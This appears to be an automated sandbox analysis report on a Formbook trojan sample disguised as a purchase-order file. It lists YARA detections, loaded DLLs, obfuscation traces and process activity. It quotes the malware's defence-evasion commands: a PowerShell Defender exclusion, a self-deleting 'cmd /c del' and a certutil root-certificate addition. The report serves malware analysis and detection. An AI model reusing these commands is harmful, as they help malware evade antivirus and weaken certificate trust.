          Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 0000000E.00000002.3706125746.0000000002E90000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
          Source: 00000000.00000002.1262575424.0000000003C39000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
          Source: Process Memory Space: Request For PO-230102.bat.exe PID: 4948, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: Request For PO-230102.bat.exe PID: 1512, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Process Memory Space: cmstp.exe PID: 4816, type: MEMORYSTRMatched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
          Source: Request For PO-230102.bat.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, AfxvMEZertDvqnuSmb.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, AfxvMEZertDvqnuSmb.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: _0020.SetAccessControl
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: _0020.AddAccessRule
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: _0020.SetAccessControl
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: _0020.AddAccessRule
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, AfxvMEZertDvqnuSmb.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: _0020.SetAccessControl
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: System.Security.Principal.WindowsIdentity.GetCurrent()
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, XbHL1sHFPMHkcGiFoi.csSecurity API names: _0020.AddAccessRule
          Source: classification engineClassification label: mal100.troj.evad.winEXE@524/6@11/1
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E38F05 GetCurrentProcess,OpenProcessToken,GetLastError,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,InitiateSystemShutdownW,AdjustTokenPrivileges,CloseHandle,14_2_00E38F05
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeFile created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\Request For PO-230102.bat.exe.logJump to behavior
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5420:120:WilError_03
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeMutant created: NULL
          Source: C:\Windows\System32\conhost.exeMutant created: \BaseNamedObjects\Local\SM0:508:120:WilError_03
          Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3492:120:WilError_03
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeFile created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xcbqgisu.una.ps1Jump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe"
          Source: C:\Windows\SysWOW64\cmstp.exeCommand line argument: kernel32.dll14_2_00E36052
          Source: Request For PO-230102.bat.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
          Source: Request For PO-230102.bat.exeStatic file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeFile read: C:\Users\user\Desktop\desktop.iniJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
          Source: Request For PO-230102.bat.exeReversingLabs: Detection: 36%
          Source: cmstp.exeString found in binary or memory: /k certutil.exe -f -enterprise -v -addstore Root "%s"
          Source: unknownProcess created: C:\Users\user\Desktop\Request For PO-230102.bat.exe "C:\Users\user\Desktop\Request For PO-230102.bat.exe"
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe"
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess created: C:\Users\user\Desktop\Request For PO-230102.bat.exe "C:\Users\user\Desktop\Request For PO-230102.bat.exe"
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "C:\Windows\SysWOW64\cmstp.exe"
          Source: C:\Windows\SysWOW64\cmstp.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe"
          Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Windows\System32\conhost.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Request For PO-230102.bat.exe"Jump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeProcess created: C:\Users\user\Desktop\Request For PO-230102.bat.exe "C:\Users\user\Desktop\Request For PO-230102.bat.exe"Jump to behavior
          Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\cmstp.exe "C:\Windows\SysWOW64\cmstp.exe"Jump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeProcess created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\Desktop\Request For PO-230102.bat.exe"Jump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: apphelp.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: version.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: windowscodecs.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: dwrite.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: textshaping.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: edputil.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: windows.staterepositoryps.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: wintypes.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: appresolver.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: bcp47langs.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: slc.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: sppc.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: onecorecommonproxystub.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: workfoldersshell.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wscinterop.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wscapi.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: werconcpl.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: framedynos.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: wer.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: hcproviders.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: mfsrcsnk.dllJump to behavior
          Source: C:\Windows\explorer.exeSection loaded: windows.internal.shell.broker.dllJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeSection loaded: cmutil.dllJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeSection loaded: version.dllJump to behavior
          Source: C:\Windows\SysWOW64\cmstp.exeSection loaded: wininet.dllJump to behavior
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
          Source: Window RecorderWindow detected: More than 3 window changes detected
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
          Source: Request For PO-230102.bat.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
          Source: Request For PO-230102.bat.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
          Source: Request For PO-230102.bat.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
          Source: Binary string: cmstp.pdbGCTL source: Request For PO-230102.bat.exe, 00000004.00000002.1398545896.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, Request For PO-230102.bat.exe, 00000004.00000002.1393537165.0000000001038000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3705855886.0000000000E30000.00000040.80000000.00040000.00000000.sdmp
          Source: Binary string: wntdll.pdbUGP source: Request For PO-230102.bat.exe, 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000003.1394460860.0000000004AA8000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3708925256.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000003.1399870651.0000000004C59000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3708925256.0000000004F9E000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: wntdll.pdb source: Request For PO-230102.bat.exe, Request For PO-230102.bat.exe, 00000004.00000002.1394062903.0000000001570000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, cmstp.exe, 0000000E.00000003.1394460860.0000000004AA8000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3708925256.0000000004E00000.00000040.00001000.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000003.1399870651.0000000004C59000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, 0000000E.00000002.3708925256.0000000004F9E000.00000040.00001000.00020000.00000000.sdmp
          Source: Binary string: cmstp.pdb source: Request For PO-230102.bat.exe, 00000004.00000002.1398545896.00000000019E0000.00000040.10000000.00040000.00000000.sdmp, Request For PO-230102.bat.exe, 00000004.00000002.1393537165.0000000001038000.00000004.00000020.00020000.00000000.sdmp, cmstp.exe, cmstp.exe, 0000000E.00000002.3705855886.0000000000E30000.00000040.80000000.00040000.00000000.sdmp

          Data Obfuscation

          barindex
          .NET source code contains potential unpacker
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, XbHL1sHFPMHkcGiFoi.cs.Net Code: doDCfKt9ch System.Reflection.Assembly.Load(byte[])
          Source: 0.2.Request For PO-230102.bat.exe.7330000.5.raw.unpack, XbHL1sHFPMHkcGiFoi.cs.Net Code: doDCfKt9ch System.Reflection.Assembly.Load(byte[])
          Source: 0.2.Request For PO-230102.bat.exe.3e0b7c0.3.raw.unpack, XbHL1sHFPMHkcGiFoi.cs.Net Code: doDCfKt9ch System.Reflection.Assembly.Load(byte[])
          Source: Request For PO-230102.bat.exeStatic PE information: 0xF1A3427C [Thu Jun 19 09:27:24 2098 UTC]
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041794F push ss; ret 4_2_0041797F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_00417993 push ss; ret 4_2_0041797F
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_00416B24 push ss; retf 4_2_00416B27
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041D475 push eax; ret 4_2_0041D4C8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041D4C2 push eax; ret 4_2_0041D4C8
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041D4CB push eax; ret 4_2_0041D532
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041ED53 push dword ptr [914FBFDDh]; ret 4_2_0041ED74
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041D52C push eax; ret 4_2_0041D532
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041E77C push 2E339416h; ret 4_2_0041E842
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0041779C push esp; retf 4_2_0041779D
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0157225F pushad ; ret 4_2_015727F9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015727FA pushad ; ret 4_2_015727F9
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_015A09AD push ecx; mov dword ptr [esp], ecx4_2_015A09B6
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0157283D push eax; iretd 4_2_01572858
          Source: C:\Users\user\Desktop\Request For PO-230102.bat.exeCode function: 4_2_0157135E push eax; iretd 4_2_01571369
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9F5B1E push esp; retn 0000h6_2_0E9F5B1F
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9F5B02 push esp; retn 0000h6_2_0E9F5B03
          Source: C:\Windows\explorer.exeCode function: 6_2_0E9F59B5 push esp; retn 0000h6_2_0E9F5AE7
          Source: C:\Windows\explorer.exeCode function: 6_2_0EAE0B02 push esp; retn 0000h6_2_0EAE0B03
          Source: C:\Windows\explorer.exeCode function: 6_2_0EAE0B1E push esp; retn 0000h6_2_0EAE0B1F
          Source: C:\Windows\explorer.exeCode function: 6_2_0EAE09B5 push esp; retn 0000h6_2_0EAE0AE7
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC549B5 push esp; retn 0000h6_2_0FC54AE7
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC54B02 push esp; retn 0000h6_2_0FC54B03
          Source: C:\Windows\explorer.exeCode function: 6_2_0FC54B1E push esp; retn 0000h6_2_0FC54B1F
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_00E41A3D push ecx; ret 14_2_00E41A50
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E027FA pushad ; ret 14_2_04E027F9
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E0225F pushad ; ret 14_2_04E027F9
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E0283D push eax; iretd 14_2_04E02858
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_04E309AD push ecx; mov dword ptr [esp], ecx14_2_04E309B6
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EA779C push esp; retf 14_2_02EA779D
          Source: C:\Windows\SysWOW64\cmstp.exeCode function: 14_2_02EAE77C push 2E339416h; ret 14_2_02EAE842
          Source: Request For PO-230102.bat.exeStatic PE information: section name: .text entropy: 7.721619398175927
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, KxnTuGdKn3G5YNdaaq.csHigh entropy of concatenated method names: 'oUcVBxvrsY', 'ChsVxmTa0Z', 'QtNVZsfjA3', 'AtwVdf5ekr', 'mS8VqxWyl4', 'ffnV6NhueN', 'j9IV7Ca3Tb', 'rmOVDGuqTT', 'NWVVgqgIEJ', 'j8LVhLXPxg'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, waV0nAb2YguMYjPkQj.csHigh entropy of concatenated method names: 'DLDDjw8Yfr', 'bEXDO1rU8y', 'cD1DU2FtaZ', 'eUcD0rA48Z', 'WubDRvbDmV', 'cpWDppUEXW', 'Next', 'Next', 'Next', 'NextBytes'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, AfxvMEZertDvqnuSmb.csHigh entropy of concatenated method names: 'qNYuRfhsY7', 'J9GuJ0fmjX', 'vdauAOeSLw', 'pN4uTe6dek', 'AG7uQlZTU9', 'M0JuM5oWQB', 'T3LulnCdMO', 'eBmuoMW5YE', 'FRSubGqcpy', 'fbEu95jVpP'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, xxDp6WReMPoC6NI8pQ.csHigh entropy of concatenated method names: 'wj5q1HOU6K', 'PGVq8Uybxb', 'nBYqRySxJS', 'zXdqJx0xKx', 'Tr5qOnYRI8', 'rXBqUo4l3e', 'X1Dq0XiHuH', 'zmwqpEGy8O', 'QfgqGC6kOO', 'ypsqvXWDYW'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, r5xn5dFTpyjUlSVXls.csHigh entropy of concatenated method names: 'V0gWkBhcji', 'N9mWsaGxJX', 'AT5VU2Bq7u', 'MlVV0Efv8C', 'tdYVpCpEqw', 'X3qVGV80l3', 'OQIVv7KBIO', 'X44VIyCWZf', 'Sh0VeX1vLh', 'UNWV1Waf2K'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, DhWeKejyEhhMwuxiOo.csHigh entropy of concatenated method names: 'Gt2aSdJqOW', 'iKZauCmdnq', 'fbGaWjDy4K', 'VK4aETCPxy', 'MiiaHvdTF5', 'wiWWQfF6WK', 'o9oWMSuaLg', 'UvUWlj8aep', 'kE7WoMnEU9', 'MKeWbc4chj'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, bHoQ5qC8UttFZG547G.csHigh entropy of concatenated method names: 'olBwEfxvME', 'NrtwHDvqnu', 'KKnwm3G5YN', 'EaawXqD5xn', 'eVXwqlsZhW', 'MKew6yEhhM', 'uaoLPg1KxCOCZGV0A0', 'G9AunDIwB5URFvwv2X', 'wETwwHykPA', 'gvUwKcJXxj'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, EjXiAFuRscOlOXqJJn.csHigh entropy of concatenated method names: 'Dispose', 'POmwbBdCGA', 'njqcOwZdRm', 'NNtZZYtTCa', 'bG6w9OGPok', 'TbVwzLyJZT', 'ProcessDialogKey', 'uknctaV0nA', 'OYgcwuMYjP', 'BQjcc0VGVx'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, K6OGPookTbVLyJZTyk.csHigh entropy of concatenated method names: 'TviD56Ynqv', 'of6DuMqgFD', 'qkbDVSZA77', 'Wd2DWguY42', 'GDtDakFA9n', 'L7fDEB7mjJ', 'O4EDHCKdyO', 'zJrDiq2atn', 'HcMDmw3a3F', 'sILDXyCKRB'
          Source: 0.2.Request For PO-230102.bat.exe.3e7b5e0.2.raw.unpack, vtJMDnMODLknUi5rqH.csHigh entropy of concatenated method names: 'UqU7oPe82j', 'BgI79ZTl4m', 'd50DtOHjg3', 'w2mDwe9DPT', 'rIE72CfRIb', 'aTv78e2W2k', 'PFU7rpGc6e', 'Tv57RihIHQ', 'M667JwmobB', 'pUN7AylH03'
